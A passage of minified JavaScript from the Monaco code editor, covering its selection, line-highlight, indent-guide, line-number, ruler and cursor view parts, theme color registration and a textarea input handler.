style=\"top:'+e.toString()+\"px;left:\"+i.toString()+\"px;width:\"+o.toString()+\"px;height:\"+t+'px;\"></div>'},t.prototype._actualRenderOneSelection=function(e,n,i,o){for(var r=o.length>0&&o[0].ranges[0].startStyle,s=this._lineHeight.toString(),a=(this._lineHeight-1).toString(),u=o.length>0?o[0].lineNumber:0,l=o.length>0?o[o.length-1].lineNumber:0,c=0,d=o.length;c<d;c++){for(var h=o[c],p=h.lineNumber,f=p-n,g=i&&(p===l||p===u)?a:s,m=i&&p===u?1:0,v=\"\",_=0,y=h.ranges.length;_<y;_++){var C=h.ranges[_];if(r){if(1===C.startStyle.top||1===C.startStyle.bottom){v+=this._createSelectionPiece(m,g,t.SELECTION_CLASS_NAME,C.left-t.ROUNDED_PIECE_WIDTH,t.ROUNDED_PIECE_WIDTH);var b=t.EDITOR_BACKGROUND_CLASS_NAME;1===C.startStyle.top&&(b+=\" \"+t.SELECTION_TOP_RIGHT),1===C.startStyle.bottom&&(b+=\" \"+t.SELECTION_BOTTOM_RIGHT),v+=this._createSelectionPiece(m,g,b,C.left-t.ROUNDED_PIECE_WIDTH,t.ROUNDED_PIECE_WIDTH)}if(1===C.endStyle.top||1===C.endStyle.bottom){v+=this._createSelectionPiece(m,g,t.SELECTION_CLASS_NAME,C.left+C.width,t.ROUNDED_PIECE_WIDTH);var w=t.EDITOR_BACKGROUND_CLASS_NAME;1===C.endStyle.top&&(w+=\" \"+t.SELECTION_TOP_LEFT),1===C.endStyle.bottom&&(w+=\" \"+t.SELECTION_BOTTOM_LEFT),v+=this._createSelectionPiece(m,g,w,C.left+C.width,t.ROUNDED_PIECE_WIDTH)}}var S=t.SELECTION_CLASS_NAME;r&&(0===C.startStyle.top&&(S+=\" \"+t.SELECTION_TOP_LEFT),0===C.startStyle.bottom&&(S+=\" \"+t.SELECTION_BOTTOM_LEFT),0===C.endStyle.top&&(S+=\" \"+t.SELECTION_TOP_RIGHT),0===C.endStyle.bottom&&(S+=\" \"+t.SELECTION_BOTTOM_RIGHT)),v+=this._createSelectionPiece(m,g,S,C.left,C.width)}e[f]+=v}},t.prototype.prepareRender=function(e){for(var t=[],n=e.visibleRange.startLineNumber,i=e.visibleRange.endLineNumber,o=n;o<=i;o++)t[o-n]=\"\";for(var r=[],s=0,a=this._selections.length;s<a;s++){var u=this._selections[s];if(u.isEmpty())r.push(null);else{var l=this._getVisibleRangesWithStyle(u,e,this._previousFrameVisibleRangesWithStyle[s]);r.push(l),this._actualRenderOneSelection(t,n,this._selections.length>1,l)}}this._previousFrameVisibleRangesWithStyle=r,this._renderResult=t},t.prototype.render=function(e,t){if(!this._renderResult)return\"\";var n=t-e;if(n<0||n>=this._renderResult.length)throw new Error(\"Unexpected render request\");return this._renderResult[n]},t.SELECTION_CLASS_NAME=\"selected-text\",t.SELECTION_TOP_LEFT=\"top-left-radius\",t.SELECTION_BOTTOM_LEFT=\"bottom-left-radius\",t.SELECTION_TOP_RIGHT=\"top-right-radius\",t.SELECTION_BOTTOM_RIGHT=\"bottom-right-radius\",t.EDITOR_BACKGROUND_CLASS_NAME=\"monaco-editor-background\",t.ROUNDED_PIECE_WIDTH=10,t}(o.DynamicViewOverlay);t.SelectionsOverlay=h,n.registerThemingParticipant(function(e,t){var n=e.getColor(i.editorSelectionBackground);n&&t.addRule(\".monaco-editor .focused .selected-text { background-color: \"+n+\"; }\");var o=e.getColor(i.editorInactiveSelection);o&&t.addRule(\".monaco-editor .selected-text { background-color: \"+o+\"; }\");var r=e.getColor(i.editorSelectionForeground);r&&t.addRule(\".monaco-editor .view-line span.inline-selected-text { color: \"+r+\"; }\")})}),define(d[37],h([1,0,340,23,14,32]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.editorLineHighlight=i.registerColor(\"editor.lineHighlightBackground\",{dark:null,light:null,hc:null},n.localize(0,null)),t.editorLineHighlightBorder=i.registerColor(\"editor.lineHighlightBorder\",{dark:\"#282828\",light:\"#eeeeee\",hc:\"#f38518\"},n.localize(1,null)),t.editorRangeHighlight=i.registerColor(\"editor.rangeHighlightBackground\",{dark:\"#ffffff0b\",light:\"#fdff0033\",hc:null},n.localize(2,null)),t.editorCursorForeground=i.registerColor(\"editorCursor.foreground\",{dark:\"#AEAFAD\",light:r.Color.black,hc:r.Color.white},n.localize(3,null)),t.editorCursorBackground=i.registerColor(\"editorCursor.background\",null,n.localize(4,null)),t.editorWhitespaces=i.registerColor(\"editorWhitespace.foreground\",{dark:\"#e3e4e229\",light:\"#33333333\",hc:\"#e3e4e229\"},n.localize(5,null)),t.editorIndentGuides=i.registerColor(\"editorIndentGuide.background\",{dark:t.editorWhitespaces,light:t.editorWhitespaces,hc:t.editorWhitespaces},n.localize(6,null)),t.editorLineNumbers=i.registerColor(\"editorLineNumber.foreground\",{dark:\"#5A5A5A\",light:\"#2B91AF\",hc:r.Color.white},n.localize(7,null)),t.editorRuler=i.registerColor(\"editorRuler.foreground\",{dark:\"#5A5A5A\",light:r.Color.lightgrey,hc:r.Color.white},n.localize(8,null)),t.editorCodeLensForeground=i.registerColor(\"editorCodeLens.foreground\",{dark:\"#999999\",light:\"#999999\",hc:\"#999999\"},n.localize(9,null)),t.editorBracketMatchBackground=i.registerColor(\"editorBracketMatch.background\",{dark:\"#0064001a\",light:\"#0064001a\",hc:\"#0064001a\"},n.localize(10,null)),t.editorBracketMatchBorder=i.registerColor(\"editorBracketMatch.border\",{dark:\"#888\",light:\"#B9B9B9\",hc:\"#fff\"},n.localize(11,null)),t.editorOverviewRulerBorder=i.registerColor(\"editorOverviewRuler.border\",{dark:\"#7f7f7f4d\",light:\"#7f7f7f4d\",hc:\"#7f7f7f4d\"},n.localize(12,null)),t.editorGutter=i.registerColor(\"editorGutter.background\",{dark:i.editorBackground,light:i.editorBackground,hc:i.editorBackground},n.localize(13,null)),t.editorErrorForeground=i.registerColor(\"editorError.foreground\",{dark:\"#FF0000\",light:\"#FF0000\",hc:null},n.localize(14,null)),t.editorErrorBorder=i.registerColor(\"editorError.border\",{dark:null,light:null,hc:r.Color.fromHex(\"#E47777\").transparent(.8)},n.localize(15,null)),t.editorWarningForeground=i.registerColor(\"editorWarning.foreground\",{dark:\"#008000\",light:\"#008000\",hc:null},n.localize(16,null)),t.editorWarningBorder=i.registerColor(\"editorWarning.border\",{dark:null,light:null,hc:r.Color.fromHex(\"#71B771\").transparent(.8)},n.localize(17,null)),o.registerThemingParticipant(function(e,n){var o=e.getColor(i.editorBackground);o&&n.addRule(\".monaco-editor, .monaco-editor-background, .monaco-editor .inputarea.ime-input { background-color: \"+o+\"; }\");var r=e.getColor(i.editorForeground);r&&n.addRule(\".monaco-editor, .monaco-editor .inputarea.ime-input { color: \"+r+\"; }\");var s=e.getColor(t.editorGutter);s&&n.addRule(\".monaco-editor .margin { background-color: \"+s+\"; }\");var a=e.getColor(t.editorRangeHighlight);a&&n.addRule(\".monaco-editor .rangeHighlight { background-color: \"+a+\"; }\");var u=e.getColor(i.activeContrastBorder);u&&n.addRule(\".monaco-editor .rangeHighlight { border: 1px dotted \"+u+\"; }; }\");var l=e.getColor(t.editorWhitespaces);l&&n.addRule(\".vs-whitespace { color: \"+l+\" !important; }\")})}),define(d[497],h([1,0,67,14,37,274]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(e){function t(t){var n=e.call(this)||this;return n._context=t,n._lineHeight=n._context.configuration.editor.lineHeight,n._readOnly=n._context.configuration.editor.readOnly,n._renderLineHighlight=n._context.configuration.editor.viewInfo.renderLineHighlight,n._selectionIsEmpty=!0,n._primaryCursorIsInEditableRange=!0,n._primaryCursorLineNumber=1,n._scrollWidth=0,n._contentWidth=n._context.configuration.editor.layoutInfo.contentWidth,n._context.addEventHandler(n),n}return f(t,e),t.prototype.dispose=function(){this._context.removeEventHandler(this),this._context=null,e.prototype.dispose.call(this)},t.prototype.onConfigurationChanged=function(e){return e.lineHeight&&(this._lineHeight=this._context.configuration.editor.lineHeight),e.readOnly&&(this._readOnly=this._context.configuration.editor.readOnly),e.viewInfo&&(this._renderLineHighlight=this._context.configuration.editor.viewInfo.renderLineHighlight),e.layoutInfo&&(this._contentWidth=this._context.configuration.editor.layoutInfo.contentWidth),!0},t.prototype.onCursorStateChanged=function(e){var t=!1;this._primaryCursorIsInEditableRange!==e.isInEditableRange&&(this._primaryCursorIsInEditableRange=e.isInEditableRange,t=!0);var n=e.selections[0].positionLineNumber;this._primaryCursorLineNumber!==n&&(this._primaryCursorLineNumber=n,t=!0);var i=e.selections[0].isEmpty();return this._selectionIsEmpty!==i?(this._selectionIsEmpty=i,t=!0,!0):t},t.prototype.onFlushed=function(e){return!0},t.prototype.onLinesDeleted=function(e){return!0},t.prototype.onLinesInserted=function(e){return!0},t.prototype.onScrollChanged=function(e){return e.scrollWidthChanged},t.prototype.onZonesChanged=function(e){return!0},t.prototype.prepareRender=function(e){this._scrollWidth=e.scrollWidth},t.prototype.render=function(e,t){return t===this._primaryCursorLineNumber&&this._shouldShowCurrentLine()?'<div class=\"current-line\" style=\"width:'+String(Math.max(this._scrollWidth,this._contentWidth))+\"px; height:\"+String(this._lineHeight)+'px;\"></div>':\"\"},t.prototype._shouldShowCurrentLine=function(){return(\"line\"===this._renderLineHighlight||\"all\"===this._renderLineHighlight)&&this._selectionIsEmpty&&this._primaryCursorIsInEditableRange},t}(n.DynamicViewOverlay);t.CurrentLineHighlightOverlay=r,i.registerThemingParticipant(function(e,t){var n=e.getColor(o.editorLineHighlight);if(n&&t.addRule(\".monaco-editor .view-overlays .current-line { background-color: \"+n+\"; }\"),!n||n.isTransparent()||e.defines(o.editorLineHighlightBorder)){var i=e.getColor(o.editorLineHighlightBorder);i&&(t.addRule(\".monaco-editor .view-overlays .current-line { border: 2px solid \"+i+\"; }\"),\"hc\"===e.type&&t.addRule(\".monaco-editor .view-overlays .current-line { border-width: 1px; }\"))}})}),define(d[498],h([1,0,67,14,37,277]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(e){function t(t){var n=e.call(this)||this;return n._context=t,n._lineHeight=n._context.configuration.editor.lineHeight,n._renderLineHighlight=n._context.configuration.editor.viewInfo.renderLineHighlight,n._primaryCursorIsInEditableRange=!0,n._primaryCursorLineNumber=1,n._contentLeft=n._context.configuration.editor.layoutInfo.contentLeft,n._context.addEventHandler(n),n}return f(t,e),t.prototype.dispose=function(){this._context.removeEventHandler(this),this._context=null,e.prototype.dispose.call(this)},t.prototype.onConfigurationChanged=function(e){return e.lineHeight&&(this._lineHeight=this._context.configuration.editor.lineHeight),e.viewInfo&&(this._renderLineHighlight=this._context.configuration.editor.viewInfo.renderLineHighlight),e.layoutInfo&&(this._contentLeft=this._context.configuration.editor.layoutInfo.contentLeft),!0},t.prototype.onCursorStateChanged=function(e){var t=!1;this._primaryCursorIsInEditableRange!==e.isInEditableRange&&(this._primaryCursorIsInEditableRange=e.isInEditableRange,t=!0);var n=e.selections[0].positionLineNumber;return this._primaryCursorLineNumber!==n&&(this._primaryCursorLineNumber=n,t=!0),t},t.prototype.onFlushed=function(e){return!0},t.prototype.onLinesDeleted=function(e){return!0},t.prototype.onLinesInserted=function(e){return!0},t.prototype.onZonesChanged=function(e){return!0},t.prototype.prepareRender=function(e){},t.prototype.render=function(e,t){return t===this._primaryCursorLineNumber&&this._shouldShowCurrentLine()?'<div class=\"current-line-margin\" style=\"width:'+String(this._contentLeft)+\"px; height:\"+String(this._lineHeight)+'px;\"></div>':\"\"},t.prototype._shouldShowCurrentLine=function(){return(\"gutter\"===this._renderLineHighlight||\"all\"===this._renderLineHighlight)&&this._primaryCursorIsInEditableRange},t}(n.DynamicViewOverlay);t.CurrentLineMarginHighlightOverlay=r,i.registerThemingParticipant(function(e,t){var n=e.getColor(o.editorLineHighlight);if(n)t.addRule(\".monaco-editor .margin-view-overlays .current-line-margin { background-color: \"+n+\"; border: none; }\");else{var i=e.getColor(o.editorLineHighlightBorder);i&&t.addRule(\".monaco-editor .margin-view-overlays .current-line-margin { border: 2px solid \"+i+\"; }\"),\"hc\"===e.type&&t.addRule(\".monaco-editor .margin-view-overlays .current-line-margin { border-width: 1px; }\")}})}),define(d[499],h([1,0,67,14,37,4,12,280]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(e){function t(t){var n=e.call(this)||this;return n._context=t,n._lineHeight=n._context.configuration.editor.lineHeight,n._spaceWidth=n._context.configuration.editor.fontInfo.spaceWidth,n._enabled=n._context.configuration.editor.viewInfo.renderIndentGuides,n._renderResult=null,n._context.addEventHandler(n),n}return f(t,e),t.prototype.dispose=function(){this._context.removeEventHandler(this),this._context=null,this._renderResult=null,e.prototype.dispose.call(this)},t.prototype.onConfigurationChanged=function(e){return e.lineHeight&&(this._lineHeight=this._context.configuration.editor.lineHeight),e.fontInfo&&(this._spaceWidth=this._context.configuration.editor.fontInfo.spaceWidth),e.viewInfo&&(this._enabled=this._context.configuration.editor.viewInfo.renderIndentGuides),!0},t.prototype.onDecorationsChanged=function(e){return!0},t.prototype.onFlushed=function(e){return!0},t.prototype.onLinesChanged=function(e){return!0},t.prototype.onLinesDeleted=function(e){return!0},t.prototype.onLinesInserted=function(e){return!0},t.prototype.onScrollChanged=function(e){return e.scrollTopChanged},t.prototype.onZonesChanged=function(e){return!0},t.prototype.prepareRender=function(e){if(this._enabled){for(var t=e.visibleRange.startLineNumber,n=e.visibleRange.endLineNumber,i=this._context.model.getTabSize()*this._spaceWidth,o=this._lineHeight,a=r.computeScreenAwareSize(1),u=[],l=t;l<=n;l++){for(var c=l-t,d=this._context.model.getLineIndentGuide(l),h=\"\",p=e.visibleRangeForPosition(new s.Position(l,1)),f=p?p.left:0,g=0;g<d;g++)h+='<div class=\"cigr\" style=\"left:'+f+\"px;height:\"+o+\"px;width:\"+a+'px\"></div>',f+=i;u[c]=h}this._renderResult=u}else this._renderResult=null},t.prototype.render=function(e,t){if(!this._renderResult)return\"\";var n=t-e;if(n<0||n>=this._renderResult.length)throw new Error(\"Unexpected render request\");return this._renderResult[n]},t}(n.DynamicViewOverlay);t.IndentGuidesOverlay=a,i.registerThemingParticipant(function(e,t){var n=e.getColor(o.editorIndentGuides);n&&t.addRule(\".monaco-editor .lines-content .cigr { background-color: \"+n+\"; }\")})}),define(d[188],h([1,0,37,14,15,67,12,283]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(e){function t(t){var n=e.call(this)||this;return n._context=t,n._readConfig(),n._lastCursorModelPosition=new s.Position(1,1),n._renderResult=null,n._context.addEventHandler(n),n}return f(t,e),t.prototype._readConfig=function(){var e=this._context.configuration.editor;this._lineHeight=e.lineHeight,this._renderLineNumbers=e.viewInfo.renderLineNumbers,this._renderCustomLineNumbers=e.viewInfo.renderCustomLineNumbers,this._renderRelativeLineNumbers=e.viewInfo.renderRelativeLineNumbers,this._lineNumbersLeft=e.layoutInfo.lineNumbersLeft,this._lineNumbersWidth=e.layoutInfo.lineNumbersWidth},t.prototype.dispose=function(){this._context.removeEventHandler(this),this._context=null,this._renderResult=null,e.prototype.dispose.call(this)},t.prototype.onConfigurationChanged=function(e){return this._readConfig(),!0},t.prototype.onCursorStateChanged=function(e){var t=e.selections[0].getPosition();return this._lastCursorModelPosition=this._context.model.coordinatesConverter.convertViewPositionToModelPosition(t),!!this._renderRelativeLineNumbers},t.prototype.onFlushed=function(e){return!0},t.prototype.onLinesChanged=function(e){return!0},t.prototype.onLinesDeleted=function(e){return!0},t.prototype.onLinesInserted=function(e){return!0},t.prototype.onScrollChanged=function(e){return e.scrollTopChanged},t.prototype.onZonesChanged=function(e){return!0},t.prototype._getLineRenderLineNumber=function(e){var t=this._context.model.coordinatesConverter.convertViewPositionToModelPosition(new s.Position(e,1));if(1!==t.column)return\"\";var n=t.lineNumber;if(this._renderCustomLineNumbers)return this._renderCustomLineNumbers(n);if(this._renderRelativeLineNumbers){var i=Math.abs(this._lastCursorModelPosition.lineNumber-n);return 0===i?'<span class=\"relative-current-line-number\">'+n+\"</span>\":String(i)}return String(n)},t.prototype.prepareRender=function(e){if(this._renderLineNumbers){for(var n=o.isLinux?this._lineHeight%2==0?\" lh-even\":\" lh-odd\":\"\",i=e.visibleRange.startLineNumber,r=e.visibleRange.endLineNumber,s='<div class=\"'+t.CLASS_NAME+n+'\" style=\"left:'+this._lineNumbersLeft.toString()+\"px;width:\"+this._lineNumbersWidth.toString()+'px;\">',a=[],u=i;u<=r;u++){var l=u-i,c=this._getLineRenderLineNumber(u);a[l]=c?s+c+\"</div>\":\"\"}this._renderResult=a}else this._renderResult=null},t.prototype.render=function(e,t){if(!this._renderResult)return\"\";var n=t-e;if(n<0||n>=this._renderResult.length)throw new Error(\"Unexpected render request\");return this._renderResult[n]},t.CLASS_NAME=\"line-numbers\",t}(r.DynamicViewOverlay);t.LineNumbersOverlay=a,i.registerThemingParticipant(function(e,t){var i=e.getColor(n.editorLineNumbers);i&&t.addRule(\".monaco-editor .line-numbers { color: \"+i+\"; }\")})}),define(d[501],h([1,0,15,28,154,151,2,22,12,66,57,27,35,182,188,270]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g){\"use strict\";function m(e,t){var n=document.createElement(\"canvas\").getContext(\"2d\");n.font=v(t);var o=n.measureText(e);return i.isFirefox?o.width+2:o.width}function v(e){return _(\"normal\",e.fontWeight,e.fontSize,e.lineHeight,e.fontFamily)}function _(e,t,n,i,o){return e+\" normal \"+t+\" \"+n+\"px / \"+i+\"px \"+o}Object.defineProperty(t,\"__esModule\",{value:!0});var y=function(){function e(e,t,n){this.top=e,this.left=t,this.width=n}return e.prototype.setWidth=function(t){return new e(this.top,this.left,t)},e}(),C=i.isEdgeOrIE||i.isFirefox,b=function(e){function t(t,n,u){var l=e.call(this,t)||this;l._primaryCursorVisibleRange=null,l._viewController=n,l._viewHelper=u;var p=l._context.configuration.editor;l._pixelRatio=p.pixelRatio,l._accessibilitySupport=p.accessibilitySupport,l._contentLeft=p.layoutInfo.contentLeft,l._contentWidth=p.layoutInfo.contentWidth,l._contentHeight=p.layoutInfo.contentHeight,l._scrollLeft=0,l._scrollTop=0,l._fontInfo=p.fontInfo,l._lineHeight=p.lineHeight,l._emptySelectionClipboard=p.emptySelectionClipboard,l._visibleTextArea=null,l._selections=[new a.Selection(1,1,1,1)],l._lastCopiedValue=null,l._lastCopiedValueIsFromEmptySelection=!1,l.textArea=d.createFastDomNode(document.createElement(\"textarea\")),h.PartFingerprints.write(l.textArea,6),l.textArea.setClassName(\"inputarea\"),l.textArea.setAttribute(\"wrap\",\"off\"),l.textArea.setAttribute(\"autocorrect\",\"off\"),l.textArea.setAttribute(\"autocapitalize\",\"off\"),l.textArea.setAttribute(\"autocomplete\",\"off\"),l.textArea.setAttribute(\"spellcheck\",\"false\"),l.textArea.setAttribute(\"aria-label\",p.viewInfo.ariaLabel),l.textArea.setAttribute(\"role\",\"textbox\"),l.textArea.setAttribute(\"aria-multiline\",\"true\"),l.textArea.setAttribute(\"aria-haspopup\",\"false\"),l.textArea.setAttribute(\"aria-autocomplete\",\"both\"),l.textAreaCover=d.createFastDomNode(document.createElement(\"div\")),l.textAreaCover.setPosition(\"absolute\");var f={getLineCount:function(){return l._context.model.getLineCount()},getLineMaxColumn:function(e){return l._context.model.getLineMaxColumn(e)},getValueInRange:function(e,t){return l._context.model.getValueInRange(e,t)}},g={getPlainTextToCopy:function(){var e=l._context.model.getPlainTextToCopy(l._selections,l._emptySelectionClipboard);if(l._emptySelectionClipboard){i.isFirefox?l._lastCopiedValue=e.replace(/\\r\\n/g,\"\\n\"):l._lastCopiedValue=e;var t=l._selections;l._lastCopiedValueIsFromEmptySelection=1===t.length&&t[0].isEmpty()}return e},getHTMLToCopy:function(){return l._context.model.getHTMLToCopy(l._selections,l._emptySelectionClipboard)},getScreenReaderContent:function(e){return i.isIPad?r.TextAreaState.EMPTY:1===l._accessibilitySupport?r.TextAreaState.EMPTY:r.PagedScreenReaderStrategy.fromEditorSelection(e,f,l._selections[0])}};return l._textAreaInput=l._register(new o.TextAreaInput(g,l.textArea)),l._register(l._textAreaInput.onKeyDown(function(e){l._viewController.emitKeyDown(e)})),l._register(l._textAreaInput.onKeyUp(function(e){l._viewController.emitKeyUp(e)})),l._register(l._textAreaInput.onPaste(function(e){var t=!1;l._emptySelectionClipboard&&(t=e.text===l._lastCopiedValue&&l._lastCopiedValueIsFromEmptySelection),l._viewController.paste(\"keyboard\",e.text,t)})),l._register(l._textAreaInput.onCut(function(){l._viewController.cut(\"keyboard\")})),l._register(l._textAreaInput.onType(function(e){e.replaceCharCnt?l._viewController.replacePreviousChar(\"keyboard\",e.text,e.replaceCharCnt):l._viewController.type(\"keyboard\",e.text)})),l._register(l._textAreaInput.onCompositionStart(function(){var e=l._selections[0].startLineNumber,t=l._selections[0].startColumn;l._context.privateViewEventBus.emit(new c.ViewRevealRangeRequestEvent(new s.Range(e,t,e,t),0,!0));var n=l._viewHelper.visibleRangeForPositionRelativeToEditor(e,t);n&&(l._visibleTextArea=new y(l._context.viewLayout.getVerticalOffsetForLineNumber(e),n.left,C?0:1),l._render()),l.textArea.setClassName(\"inputarea ime-input\"),l._viewController.compositionStart(\"keyboard\")})),l._register(l._textAreaInput.onCompositionUpdate(function(e){i.isEdgeOrIE?l._visibleTextArea=l._visibleTextArea.setWidth(0):l._visibleTextArea=l._visibleTextArea.setWidth(m(e.data,l._fontInfo)),l._render()})),l._register(l._textAreaInput.onCompositionEnd(function(){l._visibleTextArea=null,l._render(),l.textArea.setClassName(\"inputarea\"),l._viewController.compositionEnd(\"keyboard\")})),l._register(l._textAreaInput.onFocus(function(){l._context.privateViewEventBus.emit(new c.ViewFocusChangedEvent(!0))})),l._register(l._textAreaInput.onBlur(function(){l._context.privateViewEventBus.emit(new c.ViewFocusChangedEvent(!1))})),l}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype.onConfigurationChanged=function(e){var t=this._context.configuration.editor;return e.fontInfo&&(this._fontInfo=t.fontInfo),e.viewInfo&&this.textArea.setAttribute(\"aria-label\",t.viewInfo.ariaLabel),e.layoutInfo&&(this._contentLeft=t.layoutInfo.contentLeft,this._contentWidth=t.layoutInfo.contentWidth,this._contentHeight=t.layoutInfo.contentHeight),e.lineHeight&&(this._lineHeight=t.lineHeight),e.pixelRatio&&(this._pixelRatio=t.pixelRatio),e.accessibilitySupport&&(this._accessibilitySupport=t.accessibilitySupport,this._textAreaInput.writeScreenReaderContent(\"strategy changed\")),e.emptySelectionClipboard&&(this._emptySelectionClipboard=t.emptySelectionClipboard),!0},t.prototype.onCursorStateChanged=function(e){return this._selections=e.selections.slice(0),this._textAreaInput.writeScreenReaderContent(\"selection changed\"),!0},t.prototype.onDecorationsChanged=function(e){return!0},t.prototype.onFlushed=function(e){return!0},t.prototype.onLinesChanged=function(e){return!0},t.prototype.onLinesDeleted=function(e){return!0},t.prototype.onLinesInserted=function(e){return!0},t.prototype.onScrollChanged=function(e){return this._scrollLeft=e.scrollLeft,this._scrollTop=e.scrollTop,!0},t.prototype.onZonesChanged=function(e){return!0},t.prototype.isFocused=function(){return this._textAreaInput.isFocused()},t.prototype.focusTextArea=function(){this._textAreaInput.focusTextArea()},t.prototype.setAriaActiveDescendant=function(e){e?(this.textArea.setAttribute(\"role\",\"combobox\"),this.textArea.getAttribute(\"aria-activedescendant\")!==e&&(this.textArea.setAttribute(\"aria-haspopup\",\"true\"),this.textArea.setAttribute(\"aria-activedescendant\",e))):(this.textArea.setAttribute(\"role\",\"textbox\"),this.textArea.removeAttribute(\"aria-activedescendant\"),this.textArea.removeAttribute(\"aria-haspopup\"))},t.prototype.prepareRender=function(e){if(2===this._accessibilitySupport)this._primaryCursorVisibleRange=null;else{var t=new u.Position(this._selections[0].positionLineNumber,this._selections[0].positionColumn);this._primaryCursorVisibleRange=e.visibleRangeForPosition(t)}},t.prototype.render=function(e){this._textAreaInput.writeScreenReaderContent(\"render\"),this._render()},t.prototype._render=function(){if(this._visibleTextArea)this._renderInsideEditor(this._visibleTextArea.top-this._scrollTop,this._contentLeft+this._visibleTextArea.left-this._scrollLeft,this._visibleTextArea.width,this._lineHeight,!0);else if(this._primaryCursorVisibleRange){var e=this._contentLeft+this._primaryCursorVisibleRange.left-this._scrollLeft;if(e<this._contentLeft||e>this._contentLeft+this._contentWidth)this._renderAtTopLeft();else{var t=this._context.viewLayout.getVerticalOffsetForLineNumber(this._selections[0].positionLineNumber)-this._scrollTop;t<0||t>this._contentHeight?this._renderAtTopLeft():this._renderInsideEditor(t,e,C?0:1,C?0:1,!1)}}else this._renderAtTopLeft()},t.prototype._renderInsideEditor=function(e,t,n,i,o){var r=this.textArea,s=this.textAreaCover;o?l.Configuration.applyFontInfo(r,this._fontInfo):(r.setFontSize(1),r.setLineHeight(this._fontInfo.lineHeight)),r.setTop(e),r.setLeft(t),r.setWidth(n),r.setHeight(i),s.setTop(0),s.setLeft(0),s.setWidth(0),s.setHeight(0)},t.prototype._renderAtTopLeft=function(){var e=this.textArea,t=this.textAreaCover;if(l.Configuration.applyFontInfo(e,this._fontInfo),e.setTop(0),e.setLeft(0),t.setTop(0),t.setLeft(0),C)return e.setWidth(0),e.setHeight(0),t.setWidth(0),void t.setHeight(0);e.setWidth(1),e.setHeight(1),t.setWidth(1),t.setHeight(1),this._context.configuration.editor.viewInfo.glyphMargin?t.setClassName(\"monaco-editor-background textAreaCover \"+p.Margin.CLASS_NAME):this._context.configuration.editor.viewInfo.renderLineNumbers?t.setClassName(\"monaco-editor-background textAreaCover \"+g.LineNumbersOverlay.CLASS_NAME):t.setClassName(\"monaco-editor-background textAreaCover\")},t}(h.ViewPart);t.TextAreaHandler=b}),define(d[502],h([1,0,27,35,14,37,4,299]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(e){function t(t){var i=e.call(this,t)||this;return i.domNode=n.createFastDomNode(document.createElement(\"div\")),i.domNode.setAttribute(\"role\",\"presentation\"),i.domNode.setAttribute(\"aria-hidden\",\"true\"),i.domNode.setClassName(\"view-rulers\"),i._renderedRulers=[],i._rulers=i._context.configuration.editor.viewInfo.rulers,i._height=i._context.configuration.editor.layoutInfo.contentHeight,i._typicalHalfwidthCharacterWidth=i._context.configuration.editor.fontInfo.typicalHalfwidthCharacterWidth,i}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype.onConfigurationChanged=function(e){return!!(e.viewInfo||e.layoutInfo||e.fontInfo)&&(this._rulers=this._context.configuration.editor.viewInfo.rulers,this._height=this._context.configuration.editor.layoutInfo.contentHeight,this._typicalHalfwidthCharacterWidth=this._context.configuration.editor.fontInfo.typicalHalfwidthCharacterWidth,!0)},t.prototype.onScrollChanged=function(e){return e.scrollHeightChanged},t.prototype.prepareRender=function(e){},t.prototype._ensureRulersCount=function(){var e=this._renderedRulers.length,t=this._rulers.length;if(e!==t)if(e<t)for(var i=s.computeScreenAwareSize(1),o=t-e;o>0;)(a=n.createFastDomNode(document.createElement(\"div\"))).setClassName(\"view-ruler\"),a.setWidth(i),this.domNode.appendChild(a),this._renderedRulers.push(a),o--;else for(var r=e-t;r>0;){var a=this._renderedRulers.pop();this.domNode.removeChild(a),r--}},t.prototype.render=function(e){this._ensureRulersCount();for(var t=0,n=this._rulers.length;t<n;t++){var i=this._renderedRulers[t];i.setHeight(Math.min(e.scrollHeight,1e6)),i.setLeft(this._rulers[t]*this._typicalHalfwidthCharacterWidth)}},t}(i.ViewPart);t.Rulers=a,o.registerThemingParticipant(function(e,t){var n=e.getColor(r.editorRuler);n&&t.addRule(\".monaco-editor .view-ruler { background-color: \"+n+\"; }\")})}),define(d[503],h([1,0,35,444,27,18,14,37,49,307]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var l=function(e){function t(t){var n=e.call(this,t)||this;return n._readOnly=n._context.configuration.editor.readOnly,n._cursorBlinking=n._context.configuration.editor.viewInfo.cursorBlinking,n._cursorStyle=n._context.configuration.editor.viewInfo.cursorStyle,n._selectionIsEmpty=!0,n._primaryCursor=new i.ViewCursor(n._context,!1),n._secondaryCursors=[],n._renderData=[],n._domNode=o.createFastDomNode(document.createElement(\"div\")),n._domNode.setAttribute(\"role\",\"presentation\"),n._domNode.setAttribute(\"aria-hidden\",\"true\"),n._updateDomClassName(),n._domNode.appendChild(n._primaryCursor.getDomNode()),n._startCursorBlinkAnimation=new r.TimeoutTimer,n._cursorFlatBlinkInterval=new r.IntervalTimer,n._blinkingEnabled=!1,n._editorHasFocus=!1,n._updateBlinking(),n}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this),this._startCursorBlinkAnimation.dispose(),this._cursorFlatBlinkInterval.dispose()},t.prototype.getDomNode=function(){return this._domNode},t.prototype.onConfigurationChanged=function(e){e.readOnly&&(this._readOnly=this._context.configuration.editor.readOnly),e.viewInfo&&(this._cursorBlinking=this._context.configuration.editor.viewInfo.cursorBlinking,this._cursorStyle=this._context.configuration.editor.viewInfo.cursorStyle),this._primaryCursor.onConfigurationChanged(e),this._updateBlinking(),e.viewInfo&&this._updateDomClassName();for(var t=0,n=this._secondaryCursors.length;t<n;t++)this._secondaryCursors[t].onConfigurationChanged(e);return!0},t.prototype._onCursorPositionChanged=function(e,t,n){if(this._primaryCursor.onCursorPositionChanged(e,n),this._updateBlinking(),this._secondaryCursors.length<t.length)for(var o=t.length-this._secondaryCursors.length,r=0;r<o;r++){var s=new 